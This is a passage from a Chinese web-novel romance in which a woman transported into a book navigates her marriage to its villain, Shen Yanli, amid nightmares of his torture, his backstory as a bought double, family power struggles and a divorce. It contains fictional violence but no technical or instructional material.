纤长的细指被男人勾在手里,他慢条斯理地挑弄,眼眸低垂与她对视,声线暧昧不明:“嗯?”
“好不好?”
室内炽亮的灯光洒下,林知妤睫毛轻颤,她手撑着床头努力往后缩,呼吸间都是男人身上的雪松木清香。
她心跳的欲裂,努力保持着理智将手收回,指尖温凉的手感尽失,指意不受控制的抽动。
林知妤手抵着沈砚礼的胸膛,她温红的脸别过去,嘴里唧哝着:“你离我远点。”
耳根泛起的绯红比脸颊更甚,她却浑然不知,沈砚礼不疾不徐上手抚摸,带有磁性的嗓音而后穿过耳孔:“知知——”
他顿了顿,手指轻轻捻过她的耳垂,“你这里,更红。”
林知妤心跳一滞,猛的回头看他,一脸不可置信。
他叫我什么?
大脑空白了两秒,又很快感受到耳中的指尖触感,一时间她顿然伸出手盖住耳廓,沈砚礼没来得及收回,指尖瞬间被柔软包裹。
兔子炸毛。
“沈砚礼!”
她眼里充斥着羞燥和不满,眼睛一眨不眨地瞪他。
沈砚礼见她反应如此剧烈,唇角勾起弧度。
他气定神闲地直起身,喉底不自觉溢出几声低笑,决意不再挑逗。
抵着白色纱裙的黑色睡袍渐离,瓷盘中的白彩未能被麻黑色彩的笔触渲染。
白彩柔和,麻黑劲野,色板中两相映衬,交错流淌。
到底是白搀了黑,黑染了白。
林知妤视线跟随,警防沈砚礼的每一步动作。
兔子警惕感极高,受到惊吓后,会在属于自己的领地里缩成一团,躲避不及便会在慌张下出现磨牙等应激反应。
他动作优雅从容,丝毫不躲闪她如烛般警惕的目光,看着她的样子,他忍不住想起那本养兔子指南。
眼前的兔子小姐和书中所描述的极其一致。
他刚想伸出手去,林知妤就歪着身体躲开不许他接近,警惕心还没放下,“干嘛?”
他笑而不语,手揉了揉兔子的“炸毛”低哄:“不干嘛,我一会出去,今晚不回来。”
顿了顿,他又言:“放心了?”
林知妤睫毛轻眨,任由手掌在发顶的动作,“去哪?”
“下次告诉你。”
她双手环胸,满脸问号,“下次?这次干嘛不行?”
很快想到了什么,随后一副很懂的神情,林知妤朝他挑了挑眉斜眼半眯,贼嘻嘻地:“你不会是去偷鸡摸狗吧?”
沈砚礼脸色微变,他有些无奈。
男人轻叹口气在她身旁坐下,“偷鸡摸狗?若是真的,你兴奋什么?”
她食指竖起在沈砚礼眼前轻晃,“我得去看着啊,这可是个离婚的好证据。”
她随后补充:“你可以当我不存在的,真的,我保证不出声。”
“林知妤。”
这话一出,他似乎动了怒,平淡的声音里带着令人寒颤的严厉,眼底毫无情绪。
凉意一瞬间入骨,林知妤被吓得愣了愣,她像慢动作般缩回食指不知所措,战战兢兢开口:“干干干……干嘛”
他眼色沉沉,嗓音里带着严厉:“我们不会离婚。”
林知妤缩了缩脑袋,她不服气地嘟起嘴。
不离就不离,凶什么凶。
还以为做了什么脑袋分家的大事。
沈砚礼意识自己失态,静了两秒压下情绪,他伸手捏了捏眼底下细嫩的手指安抚道:“不是偷鸡摸狗。”
他在否认刚才林知妤的疑问,却还是没严明自己的去向。
现在还不是时候——
林知妤不敢再惹他,只是点头回应。
这个大佬脾气怎么阴晴不定的,婚前那个儒雅绅士呢。
感觉自己被骗到沟里了……
沈砚礼还坐着不动,他目光定格在林知妤脸上,不放心的嘱托:“我不在,今晚就不要出去了,老宅眼线多,我不放心。”
这话不假,那群人为了获利什么事都能做的出来,更何况还有杨林这个定时炸弹。
林知妤嘟着嘴还有些许不满,听见这话后她不假思索地狠狠点头。
那是当然,自己还得留着小命回家呢。
这一点还是能和他达成共识。
沈砚礼坐在她身旁,恐自己失态的语气让她乱想,他捏着她的小指低语道歉。
当然,林知妤也很大发慈悲地原谅了他。
在她厌烦的催促下,沈砚礼才放心离开。
他走后,林知妤窝在被子里无聊的打滚,裹着被子将自己卷成一长条强迫入睡,这方法起效的很快,没一会床上就没了折腾的动静。
-
雷电交闪,狂风大作,天阴沉沉的像是要吞没万物。
林知妤再醒来时,她回到了沈公馆,想揉揉发沉的脑袋,却猛地发觉身体异样,她整个人轻飘飘地,全身虚无。
一时间她错愣在原地,不知所措。
再抬头查看,熟悉的客厅沙发上坐着人。
那是沈砚礼的身影。
不明所以下,她向前方走去,隔着沙发背她从身后看他。
男人依旧西装革履,和平常样式一致的服饰穿在他身上却显得无比纤瘦,他低垂着头,双手搭在腿上,右手里攥着什么。
林知妤绕过沙发低头去看,那是一张照片——
她的照片。
碧海蓝天下,鸥群在空中俯冲,少女迎风回眸,发丝中漏出点点日光,面上挂着幸福的笑意。
林知妤眉头轻皱,她不记得自己有拍过这种照片,就连在现实中都没有,对这张照片她是全无印象。
还没想明白这张照片从何而来,男人的身影在这时动了动,他靠着沙发背右手胳膊压在眼睛上,照片被翻了过来白底朝上。
林知妤还没搞清楚状况。
既熟悉又陌生的场景,男人以及自己。
她愣愣地想去摸沈砚礼,还未等触及,男人眼角清泪滑落,重重砸在她心上。
指端与他仅一毫之差,随着眼泪滑下的瞬间,心脏像是被刀割般剧烈疼痛,林知妤承受不住,她捂着心口跌落在地。
她伸着手试图去够沈砚礼的衣角,疼痛半分不减,手无力的砸在地上。
随后电话响起,那头不知说了什么,沈砚礼也没有答复,只是挂了电话就起身,照片被他小心翼翼地放至外套里面胸口的口袋。
心痛难忍,林知妤撑着茶几只能目视男人离开,在他阖上门的瞬间白光侵袭,将她整个人拉进。
光亮刺眼,在
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感受到眼睛适应后,她缓缓睁开。
与刚才不同,这是个废弃工厂,厂内四周无人,墙壁上装着数十个喇叭,二楼的吊墙上拉出三根粗绳,绳状如麻花般缠绕,分不清是哪捆绑着昏迷的女子。
林知妤颤颤巍巍走近,定睛一看,那再熟悉不过的面孔映入眼底,她瞪大双眼大惊失色。
是她自己——
心脏的疼痛已经感受不到,那三股粗绳像是捆在身上一般,绞得她喘不上气。
耳鸣的消音覆盖了一切,只见往日里身居高位的男人在“她”高悬的身体下,
下跪——
林知妤倒抽了一口气,酸涩涌上喉间,她声线模糊,像是艰难发声般含着哭腔喊他:“沈砚礼……”
眼泪不受控制地一滴滴溢出眼眶,喇叭里是男人戏谑地发言。
跪地的男人却冷漠让他快点。
对话她听的很清楚。
他们在做交换,一条腿换一根绳子。
用沈砚礼的命换自己的命。
沈砚礼答应了,喇叭里的男人笑他爽快。
以他们现在的感情还深厚不到这种以命换命的地步,事态发展到不可控的地步,她完全不记得原著中有这一幕。
她的脚像是被钉在地上一般,无论如何都挪不动步。
林知妤蹲在地上,一声一声地喊他,喊他起来,喊他别这样,泪水浸湿脸颊,她的声音怎么传不到男人耳里。
黑衣大汉不知从哪里窜出来,他们人手一个棒球棍在沈砚礼身后站定。
他们在等着,等着话事人的命令,等着沈砚礼最后的判决。
林知妤手撑在地上,脑海里地下室的场面一闪而过,她呼吸急促地看向喇叭。
是杨林吗?是不是你?
她没办法求证答案,眼前男人的情况更为危机,他脸色焦急对着喇叭放话:“动作快点。”
藏匿的男人像似被逼急了,他多方的挑衅不被人放在眼里,恼羞成怒下喊着大汉出手。
愤骂沈砚礼不知好歹。
黑棍高高举起,重重落下,她的尖叫声盖过了男人的闷哼:“啊——”
他捂着腿倒在地上,唇里喷出鲜血,左腿骨裂,神经尽失,即便如此他的视线仍然看向上方的身影。
喇叭里的男人也信守承诺,一条粗绳随即剪落,却不是绑着林知妤的那一根。
沈砚礼撑着手跪起来,嘴里喊着:“再来。”
“不要了,不要了沈砚礼。”林知妤已经哭的不能喘气,“可以了,可以了。”
“停下,停下啊,停下好不好,别这样。”
脚下的禁制一瞬间被解除,她跌跌撞撞向他跑去,跪在他身前却触碰不到他。
目光落在鲜红的唇角上,她伸手想去擦拭却无济于事。
喇叭里男人的笑声放肆回荡工厂,沈砚礼咽下一口血水,他已经精神涣散,强忍着神智开口:“再来。”
林知妤颤抖着身体哭喊:“不要……”
大汉换了一名,他在沈砚礼的右腿上丈量,像是找准后眯眼举起。
球棍在林知妤眼底重重落下。
“沈砚礼!”
林知妤猛地睁开眼,“停滞”的心脏从湖底打捞起。
她的脸色苍白,呼吸不匀。
室内空无一人,她想不管不顾地去见那个人。
9. 第 9 章
“沈砚礼!”
原本寂静无声的沈氏祠堂内,一道脆若银铃的声线突而响起。
祠堂清净,香烟缭绕,供桌上摆放的牌位上百,沈砚礼双膝跪在蒲团上,听见来人的声音他愣了丝神。
毫无波澜的湖面被碎石激起水花,水面突出涟漪扩散的同心圆样似波纹,一层层一串串,久不停息。
倏然回头,女孩急促呼吸过后正喘着气缓解,她站在门口,发丝因跑动而变得凌乱,刘海贴在脸侧,整个人似雨后海棠般娇艳夺目。
林知妤没等气喘匀,男人手支着蒲团回身,她大步飞扑整个人摔进沈砚礼怀里。
男人手掌撑住她的腰肢,强有力的身躯将她稳稳接住。
林知妤攀着他的肩膀,整个人的重量都压在他身上。
他偏过头去,清丽花果香扑鼻,甜腻的气息将浓郁的香火味取代,她环抱着自己还在喘气,手掌上下抚着她的背问“怎么了?”
林知妤喘着气不说话,她偏头脑袋靠上沈砚礼的耳朵。
他目光落在门外远处,视线内空无一人。
寒厉地声线在耳畔响起:“他们找上门了?”
林知妤摇了摇头,她扶着肩膀跪起来,盯着沈砚礼上下看,“你没事吧?”
男人已经被撞离蒲团,林知妤整个人跪在上面打量他,回想梦中血腥的场面,她手去够他的小腿,抬眸问他:“疼吗?”
不着边际的一句,问的沈砚礼怔了会,他温声回应:“不疼。”
少女红了眼,她嘴里嘟囔着:“对不起。”
心猛地被刺了一下,疼的他心慌意乱,眉心蹙起,修长的手指托上她的脸颊轻轻抬起与自己对视,他低哑着声:“哭什么?季羡林欺负你了?”
林知妤还是摇头,她哽咽道:“我做梦了。”
“沈砚礼,我梦到你了。”,泪水随着这句话滑落。
长指为她轻轻抚去,他柔声细语:“嗯,是个不好的梦吗?梦里的我惹你伤心了?”
林知妤拉下他揉擦泪水的手,双手将他握紧,她声音里带着哭腔,眼泪不受控制的往下流,边哭边摇头,“不是啊不是。”
她哽咽道:“你受伤了,我亲眼看着。”
“看着他们打断你的腿,你知不知道。”
不知怎么的,明明感情不深,明明还对他深藏敌意,梦醒后心口疼的一阵一阵的,像是有把利刃一刀刀划破心脏,汗水湿透了床单将她也给淹没。
这话听得沈砚礼明显有些怔神,祠室外脚步声由远而近,他脸色突变。
单臂将林知妤拦腰抱起,拾起脚下的蒲团放至身后,他拉着两眼发懵的林知妤在身前蹲下,自己面对牌位跪在蒲团上。
林知妤还在哭,她一愣一愣的就被沈砚礼安排好了,突如其来的变故打断了她的情绪,她轻吐几口气平静心情。
来人从门口只能瞧见男人坚|挺的身躯,林知妤被沈砚礼严严实实的挡在身前,衣裙不漏半点。
她眼尾泛红,泪痕还挂在脸上,沈砚礼伸手为她轻轻擦去,
少女长睫上挂着泪珠,眼尾水汽沾染,他食指抵在唇前示意她静声,林知妤双手环膝了然点头。
脚步声渐渐走远,林知妤从沈砚礼手臂旁探出头瞧见安全后她松了口气,随后又对他们的行为愤愤不平:“他们还监督你跪不跪?”
她眉心紧蹙为他打抱不平,眼尾因哭泣而存留的绯红还未消散又悄然爬上。
沈砚礼小指动了动,他抬眸看了眼前方中心擦得透亮的牌位。
沈聿礼是因他而死。
为此,他跪了十四年。
沈隽每每都会派人来查看,看他是否对沈聿礼还有愧疚之心,看他是否遵于沈家,以此判断他是否怀有二心,会做出对沈家不利的事情。
毕竟,他不是沈家子孙,被买来的那一刻他就只是沈聿礼的替身,生死都捏在沈家手里。
他眼底翻起汹涌暗潮,轻嗤一声对沈隽的行为表示不屑。
林知妤跪坐在地上歪脖抬头将他的眸色转变看在眼里。
原著对反派的身世描写不多,林知妤只知道他是沈家从孤儿院买来的,这是沈家翻遍了所有孤儿院挑的最像沈聿礼的那一个。
沈家前些年树敌颇多,为防唯一的嫡孙被人劫杀,沈砚礼因此被买回来作为代替沈聿礼在外露面的人偶。
后来出了事故,沈聿礼却死了,留下了沈砚礼。
具体发生了什么,书中并未具体描写。
林知妤伸手抚平他皱起的眉头。
那应该是一个不好的回忆。
眉心触动,他回过神。
林知妤直勾勾的目光撞进视线里,她深眸里装满了他。
沈砚礼突然靠近,林知妤不明所以,温凉的指尖在眼睛下方蹭了蹭,她眨了眨眼。
沈砚礼扶着她站起来,将膝下的蒲团移给她,林知妤蹲的脚麻也不委屈自己,心安理得的坐下,正调整着坐姿,温沉的嗓音在头顶上方响起:“怎么找到这里来了?”
她跪坐着不假思索地回答,语气里还带着点得意:“我问了院里的管家,她说你在这我就过来了。”
沈砚礼沉声一笑:“不怕被骗了?”
“你没派保镖保护我吗?”,她睨眼不满。
“没有吗?”
沈砚礼很轻的“啊”了一声。
“你可是清点了十名保镖的人,一般人可动不到你。”
林知妤没好气地一声“切”。
少女娇嗔入目,沈砚礼低低的笑,手掌揉了揉林知妤的头顶,“和我说说吗?”
“你梦里的故事。”
他半个膝盖跪在蒲团上,女孩跪坐着身体手在眼前挥舞着,绘声绘色为他描述。
虽然她嘴里的那个自己在梦里又或者是未来过的并不好。
但此时此刻,沈砚礼第一次觉得祠堂不那么的沉静无聊。
他眉眼扫过林知妤身后那一排排沈家列祖列宗的牌位,沈聿礼的牌位最为透体晶亮,那是沈隽特意吩咐的。
只为警醒自己,让他时刻记得自己的身份。
“你到底有没有在听?”,林知妤看他注意力不在自己,视线随着他落到后面的牌位上,忍不住恼火。
自己呕心吐血的正为他谋权划策,他还有闲心关心死人。
林知妤不理他了,爬起来就要走。
沈砚礼敛回目光,他勾了勾唇将她拉回,“在听。”
她叉着腰问“那你说我刚才说了什么?”
他半垂着眼笑,漫不经心地答道:“说——”
“我爱你爱的死去活来。”
林知妤:“……”
这是重点吗?
她又想了想,好吧,也
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算。
想到这,她手撑着蒲团向他靠近,眼睛一瞬不瞬地盯着他看,“沈砚礼,赌不赌?”
他反问:“赌什么?”
林知妤傲着脸,“赌你会爱上我。”
她说的自信不疑,仿佛胜局已定。
沈砚礼闻言低笑。
林知妤恼羞成怒:“你笑什么?”
她生的一张明艳动人的脸,举手投足间令人视线忍不住追随,一颦一笑都涟漪勾人。
沈砚礼不赌,他摇了摇头。
这赌桌不会有第二种结果。
若是开桌,他赌她赢。
林知妤“哼”了一声,“爱赌不赌,走着瞧吧。”
沈砚礼无视她的不满,掌心朝上,朝林知妤伸了伸手,“行,那走。”
她缩了缩脖子皱眉,回头看了眼牌位,“去哪?不跪了?他们再来怎么办?”
沈砚礼肆无忌惮的将她牵起,他也跟着轻扫了眼,“嗯,不跪了。”
林知妤一听这话,来了兴奋,她歪着身体去看他的眼睛,“沈砚礼,我发现你越来越放肆了。”
“这你都敢跑,明天他们是不是要来家里追杀你了?”
他难得没有反驳低眸看她,黑瞳深不见底,“你怕吗?”
“喂喂喂,这什么话,真的啊?”
“你胆子太大了吧。”
她挣开手倒走在沈砚礼前头,她手背在身后,眼中放光。
“这么兴奋?”,沈砚礼胸腔带出笑声。
“你和我在一个户口本上,你觉得自己跑的掉吗?”
“我……”
两人脚步都没停,林知妤背对着门口走,她刚要说话,后退的脚跟绊到门槛,整个人踉跄着就要往后倒,“诶诶诶——”
沈砚礼眼疾手快,拦腰将她接住举过门槛。
男人温沉的声线响起:“看路。”
她被稳稳放下摆了摆手,随后捂着心口长舒了一口气,“还好还好,吓死我了。”
这下林知妤安分了,她老老实实跟着沈砚礼并排走在一起,“沈砚礼,我想过了。”
“你这么厉害,原著中你能被打败,是因为没有我。”
“现在!”,她顿了顿,转过身与他对视。
“我做你的军师,我来保护你。”
沈砚礼对她这一番话有些微妙的感受,心底热浪翻滚,他低笑一声,骨节分明的大手在她发顶轻揉,“军师吗?兔子小姐这一志向很远大。”
“什么兔子小姐?”林知妤疑问。
月上中天,夜风寒凉入骨,枝叶被吹的“窸窸窣窣”响,路上已经瞧不见人影,四处略显孤凉。
她抬头望了望高悬的明月。
有点想家。
悲伤的情绪涌上心头,林知妤突然停下了脚步,她垂着头喊他的名字,声音闷闷地:“沈砚礼——”
“嗯?”
她抬起头和他对视,“如果呢?故事结局了我才能回家,你是不是一定会死?”
“那我帮你呢?故事还怎么发展?那我是不是——”她越说越小声,“就回不去了。”
沈砚礼第一次体验到了不知所措的感觉,他小指颤动,嘴里说不出任何安慰她的话。
“知知——”
他垂在身侧的手臂抬了抬,
“我会说到做到,送你回家。”
10. 第 10 章
夜色渐浓,银月高照。
沈隽上了年纪睡眠浅,老宅10点之后要求禁声,此时的庄园空寂无比。
主楼内,他今天难得没有早睡,伫立窗前许久,目光落在手里的纯金相框上。
照片已经有了些年头,相片里的小男孩坐在院子的石椅上将手里的竹蜻蜓举向镜头。
这幼稚的面孔十分熟悉,若是有人定睛去瞧,很难不联想为童年的沈砚礼。
透明板上,脸部位置有被指腹多次摩擦的痕迹,沈隽低头看着照片上日思夜想的面容,思绪忍不住飞的久远。
这个和聿礼长的十分相似的男孩他们找了好久,翻遍了全国孤儿院没一个接近的。
这事就快要被放弃时,汕州孤儿所将电话打了进来,说是那天刚送来了一个长的差不多的。
他曾亲口承诺,若是能找到相符的,到时候给的“辛苦费”定不会少。
因此,这期间电话不少,每一个打进来的都说像。
结果可想而知,都是些鼠雀之辈哗众取宠的夸谈,他本来对这通电话的可信度并不高,刚好有行程耽误,隔了几个星期他才见到这个电话里说的——
长的差不多的小男孩。
见到沈砚礼的第一眼,沈隽一度以为自己看花眼了,这已经不能说差不多了,简直是一模一样。
他甚至怀疑了一下,是不是沈聿礼被拐卖到这里了,特意打电话确认还在家后,才开始端详起眼前的小孩。
像,太像了。
除了眼角下的泪痣,简直是和沈聿礼一个模子刻出来的。
他心中大喜,当即派人去办手续,第二天就要将沈砚礼带回沈家。
为防混淆,沈隽没把他眼下的泪痣点掉,而是需要在外露面时用妆遮点。
聿礼从小就是个温顺善良的孩子,他对沈砚礼的到来完全不排斥,反而真心将他当作自己的亲弟弟对待。
沈隽带着沈砚礼回老宅的那天,他特意等在门口,手里还拿着给他这个新弟弟的礼物。
他笑盈盈的挽上沈砚礼的肩膀,“砚礼弟弟,你好啊,我是聿礼是你的哥哥,欢迎你来到我们家。”
小沈砚礼孤僻,不爱说话,他冷漠的接受这一切,包括沈聿礼的礼物。
沈聿礼是沈家独生子,接近他的人不是有求于沈家,就是欲图对他行害,但沈砚礼不同,这个新来的弟弟对他的态度冷冷淡淡,从不主动示好。
他因此对这个与众不同的新弟弟更为上心,这声弟弟,沈聿礼叫了七年,沈隽心中不愿却拗不过亲儿子的软磨硬泡,就这么让沈砚礼受了七年。
沈砚礼从被接来沈家的那一天起,每日都被教习着模仿沈聿礼的一言一行,他领悟的很快,没一周的时间就已经学的有七八分像。
那之后,
没泪痣时,他是受人尊仰的沈家太子。
有泪痣时,他就是只寄人篱下的野狸猫。
年龄的一点点增长,两人越发相像,沈砚礼演起沈聿礼也越发的出神入化。
若是没了那颗泪痣,沈隽不敢相信会发生什么,他有心要除掉他,奈何内斗还未平息,沈聿礼还不能在大众中露面,这事只能暂缓。
随着劲敌的一点点铲除,沈氏集团日益强大,沈聿礼不再需要躲藏,而沈砚礼这个提线木偶就没有了作用。
他将此事告知沈聿礼,他的傻儿子竟替那野小子感到高兴。
看着沈家正宗血统的继承人和狸猫越发亲近,沈隽暗叹不好,当即下令暗中带走解决。
可惜东窗事发,沈聿礼还是发现了沈隽的预谋,面对傻儿子的求情,他不为所动:“不能让这个野娃娃毁了沈家百年的基业。”
沈聿礼不答应,情急之下以死相逼才为沈砚礼换来缓机,沈隽无奈将他关在库房活活饿了五天,这也让他更加肯定了将沈砚礼除之后快的心。
那天所发生的一切都还历历在目,沈隽攥紧手中的相框,痛苦的回忆涌上心头
他好不容易支走了沈聿礼,刀尖已经悬在沈砚礼头上,一通电话却将他拉到了谷底。
“不好了沈总,小公子他……”来电支支吾吾不敢开口。
沈隽顿感不好,他强装镇定让对方将话说完。
“车上装了炸弹,小公子没,没了……”
手机掉到地上沈隽都来不及捡,慌不择路下就往外跑。
他在那天摔断了腿,从楼梯上——
在醒来时,他躺在病床上。
儿子没了,腿断了,沈砚礼跑了。
在没回应的这几天内,刚平息半个月的内斗又开始了,股市大跌,项目被抢,资金链断裂。
一时间,所有麻烦都找上门,他甚至都无暇准备亲儿子的葬礼,连轴转了三天才将事情勉强压下。
还未等缓口气,族中又以他无嗣为过做由头,妄图将他扯下台,无奈之下只能将逃跑的沈砚礼又给抓了回来,扬言那场事故里死的另有其人,并非是他沈隽的亲儿子。
沈砚礼也很聪明,他故意等着被抓回去,回到沈家后他反而不慌不乱的和自己谈起了条件——
让他以沈砚礼的名字示人。
沈隽正有此意,他同样不愿让自己儿子的名字挂在冒牌货的身上。
原想着等风波过去就将他悄无声息的解决掉,没想到还未等到那一天,归隐的沈太爷却突然出现将他带去亲自教养。
沈砚礼每月十五都会被允许回一趟老宅,明面上是沈隽思念儿子,实则是要他在祠堂惭悔过失,跪满十三个小时才被允许起身。
只因为,沈聿礼死的那天才刚刚过完13岁生日。
随着渐渐年长,沈太爷放他回了老宅,并让他学习接手沈氏集团业务。
他顶着一张和沈聿礼一模一样的脸,行止仪态都毫无差别,沈隽每每见到他都会恍惚。
若是他的聿礼还在,也会是这个样子的吧。
他老了,面对高强度的工作逐渐力不从心,一次错误的判断导致公司亏损了上千亿,沈砚礼被太爷教的很好,在他慌不择乱时将错误纠正,避免了更大的损失。
他为此熬进了医院,是沈砚礼没日没夜的照料使他康复。
在医院时他想明白了很多,沈家再不会有这么一个才学出众,能力突出的继承者了。
至少在找到比他更合适的人之前,集团的运营需要新血液注入。
“沈总。”,来人站在身后向他鞠躬问礼。
思绪被打断,涣散的眼色重新聚焦,沈隽隔着透明片抚摸上照片中沈聿礼的脸,他声线里不带任何情绪:“说。”
“小沈总走了,带着林家那位一起。”
在没听见沈隽的下一步指令前,赫霖依旧长躬不起,空气中的威压侵然而袭。
“狼崽不听话了……”他轻抚着相片,像是自言自语又像是在与沈聿礼商量,面上
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宽容慈善,嘴里却说着阴冷淡漠的话:“那就把他解决了吧。”
赫霖直起身,看着沈隽历经沧桑也没有弯下的身躯,他斟酌再三后开口:“我们自己动手还是……”
沈隽最是伪善,出手从不自己沾血,如今不同往日,有了小陆总在前用不着他们自己动手,但他毕竟是和沈家有血缘关系的子孙。
沈隽明白他的顾虑,正所谓狼争虎斗,能留下来的才是赢家,这两个都不是会乖乖听话的主,等斗到油灯枯尽时才是他出手的时候。
“把东西送到煜宸手上吧。”他揉擦着板面说的漫不经心。
沈家没有真正的亲情,陆煜宸应该最明白这一点,族业庞大不付出点代价不可能轻易吞下。
沈隽转过身,动作有条有理地走到床头柜前,拿过叠放整齐的帕子轻轻擦去保护板上残留的指纹。
那就要看最后,谁更能豁的出去。
-
那夜离开老宅后沈砚礼变得格外忙,好几天不见人影,他嘴上说的没事,林知妤却能隐隐感觉出是老宅那边的人出手了。
面对这样的处境,她食不下咽没有胃口,许是有人将情况报告给了沈砚礼,家里厨师的花样换了又换。
看着他们大难临头的模样,林知妤无奈坐在桌前挑挑拣拣的吃了几口。
帮了沈砚礼她回不去,不帮他主角团又要将自己置之死地。
林知妤叉子摩擦碟底发出尖锐刺耳的摩擦声。
这是死局啊!
她环绕头顶四周,眼中并无幻想中的系统存在。
不是,为什么别人穿越都有系统,自己的呢?故意的?躲起来还要自己去找?
这是闹哪样?
林知妤划拉的动作越来越大,毛骨悚然的声响引人注意。
察觉到周边异样的目光,她尴尬的笑了笑,埋头假装吃东西躲闪视线。
她愤愤叉起一块桃花酥放进嘴里,酥饼香纯味浓,好不容易激起了一点食欲,高亮的女声突如其来将她咀嚼的动作彻底打断。
“不好了夫人,先生他出事了。”女佣站在茶几前高喊,林知妤闻声看去,电视里正播报着实时新闻,沈砚礼的身影在视频中频繁出现。
“政府近日受到匿名举报,沈氏集团与政界勾结违法征地,于今日上午十点警方上门将集团查封,相关负责人也被带走调查……”
纯正的播音腔传遍整个客厅,林知妤刚激起的食欲骤然丧失,耳畔不断传来佣人们的窃窃私语。
门铃声响起,监视器上是警察拿着搜查令要求开门的身影。
林知妤知道躲不过,她放下刀叉平静开口:“让他们进来吧。”
从这一刻起,沈家真正的内斗开始了,她就算想回家也得活着回去,书中并未描写自己未来的命运以及结局。
林知妤就不信了,都穿书了难道还能真让自己死了不成,那就试试吧,看看这破书到底把她拉进来做什么的。
这突如其来的变故,相比别墅里惊慌失措的佣人们,林知妤倒显得格外平静。
她作为沈砚礼的妻子,自然难逃调查,给自己找了条大衣披上后就坐着警车前去警局配合。
车内充斥着高温暴晒后还未散去的难闻异味,林知妤不适地揉了揉眉心,后颈贴着后座椅背难耐地闭上眼。
异梦突涌,她不受控制地被卷入了旧事。
-“阿砚,我们离婚吧。”
11. 第 11 章
夏季闷热,室外高温暴晒。
林知妤已经在病房里等了好一会儿,距上次仓库惨案匆匆一眼后,两人已经隔了半个月没见。
沈砚礼这时被推了进来,虽说心中早做准备,但还是被他的模样震惊。
他身着病号服坐在轮椅上,唇色苍白面上无光,短短半个月没见,沈砚礼瘦了很多,消瘦的身体将他的憔悴和疲惫完全展露在外。
轮椅的高度比沙发还要高上一截,林知妤还需要略略仰头才能与沈砚礼对视,他脖间还冒着细汗,应该是刚才做康复训练没来得及擦尽的。
二人相视无言。
沈砚礼正襟危坐,即使他没穿正装,林知妤依旧能感受到他落在自己脸上面无表情的目光里带着凌厉和森冷。
“你好多了吗?”林知妤按耐不住率先打破沉寂,跟他比定力,自己明显不占上风,更何况那沉如深渊的眸光像是要将她彻底吞没。
“嗯。”他就坐在她对面,就如同两人如今的关系般逐渐走向了对方的对立面,他语气沉冷毫不带情。
结婚到现在之前,他还从未用过这种淡漠的口吻与自己说话。
这种感觉很不好,林知妤低下头躲避他的视线。
明明在不久前,他还会柔笑着脸在她额上落下一吻,向她承诺晚上不管多忙都会回来陪她吃饭。
都说女人最会恃宠而骄,林知妤在自己身上清晰的印证了这个说法。
林知妤爱闹,她扯着沈砚礼的领带将他压倒在床上,双手半捂住脸抿唇假装哭泣,“阿砚,你忍心吗?放着这么美一个如娇似玉的老婆自己在家,我真的会被人偷走的知不知道,你怎么还不珍惜我啊。”
这样的情景剧几乎每天都会上演,沈砚礼已经习以为常,他逐渐习惯自己这个小太太的演员属性。
他一手压在脑后,一手伸上前去捏她的耳垂,林知妤看似懊恼的嘟着唇,沈砚礼反倒笑得漫不经心,“是嘛,那你为我守身如玉好不好?”
林知妤不依,“沈砚礼,你想让我变成独守空房的妒妇吗?”她双手叉腰跨坐在沈砚礼身上,神色似那夜间盛放的晚香玉娇俏又艳丽。
“好,那小太太,我十点回来好不好?”沈砚礼言笑晏晏,和她打着商量。
他细指缠上发丝一圈一圈地勾弄,发尾有一搭没一搭地扎着眼下,他眸色深深,林知妤却情不解意,“沈砚礼,我嫁给你是要我十点钟才能吃上饭的吗?”
她佯嗔在他脸上戳戳点点,“八点就回来。”
“听见没有。”
名花最是金贵娇嫩,自然是要好土好料细细喂养的,更何况这株是世界仅有。
好花娇养,顺心解意才能越开越盛。
他慢条斯理握住她胡作非为的手,幽幽长叹:“老虎身上拔毛。”
林知妤紧逼不退,“怎样?”
“不怎样,让你拔。”他不轻不重地回应,把握着手里的细指捏着玩。
林知妤洋洋自喜,满意地点了点头。
沈砚礼任她妄为,眼底勾魂的目光半分不减,趁她不查,天旋地转之后主动权就此掌握。
他沉了沉身体,唇瓣落在下颌,
“利息要收。”
他丝哑含情的嗓音还在她耳畔低哄,和此刻淡漠凉薄的模样完全搭不上边。
利息都收了,才遵守了一次。
往事如梦似幻,悄无声息间就已烟消云散,酸涩在喉底溢满,林知妤扣了扣指尖泪水就要止不住。
每次都这样。
骗子。
时间流逝漫长,一屏一息间室内无声。
指尖无意识地颤了颤,沈砚礼察觉垂眸,视线从指端顺延至面前的娇花。
他眼底情绪晦暗不明,这株最后还是被他养坏了。
她垂眸红眼,右腿虚无的存在感时时刻刻都在提醒着他,今非同以往。
片刻后,他低哑着嗓音开口:“知知。”
他总是这样,不论发生什么,都会如若无事的喊她,“你怎么——”
才来。
滚烫的泪,啪嗒一声落入锁骨,林知妤抬起头打断他:“阿砚。”
她等不及他说完,“我们离婚吧。”
林知妤怕自己反悔,更怕已经定轨的命运再次转到齿轮。
包里放了许久的离婚协议明坦坦地摆在他面前,沈砚礼那句还未说出口的话永远的咽了回去。
林知妤想哭到发疯,她没等沈砚礼作出反应就要离开,哽咽在喉勉强咽下,“签好了寄给我,我把东西收拾好今天就不留在沈公馆了。”
她连“家”这个字都毅然决然的舍弃了,连同他一起。
“离婚协议”四个明晃晃的大字在提醒他。
她不要他了。
他嘟囔着话语,留在空无一人的病房,“我等你好久了。”
林知妤躲在楼道里,幽闭的空间里是细细碎碎的哭声,事情不受控制地发展到如今地步,他们都没了回头路。
她靠在栏杆上低泣,心底痛的一窒一窒。
如果这个世界一定要有一个反派的话,那这个人就由她来做。
——
没等她回沈公馆,陆煜宸的人在医院门口拦住了她,“林小姐,我们公子邀您共叙。”
他们面上恭敬客气,态度切无比强势。
来人不多但逼迫一个弱女子却绰绰有余,林知妤回头瞧了眼大门,她知道,这场鸿门宴不去也得去了。
约见的地方她再熟悉不过,与往日不同的是这里的掌权人已经变了。
办公室内陈设皆做了改变,林知妤坐在黑皮沙发上,这触感和颜色都不对味。
落地窗前办公椅上高坐的男人正饶有兴致的向她讲解屋内设计。
林知妤对这些一点兴趣没有,“我来不是听你说这些的。”她沉着脸打断陆煜宸的喋喋不休。
陆煜宸正在兴头上,这预想的位置,高度,地位通通都在自己手里,他今天难得高兴,并不对林知妤的打断而感到厌烦,“林小姐,别这么不识趣嘛,多好的时刻啊,我们今天一起庆祝怎么样,我在南江滨定了……”
林知妤对这里的一切都感到厌恶,她等不及他说完便再一次打断他:“陆煜宸,我们之前谈好了的不会伤害阿砚,你背信弃义,这合作我不会再继续了。”
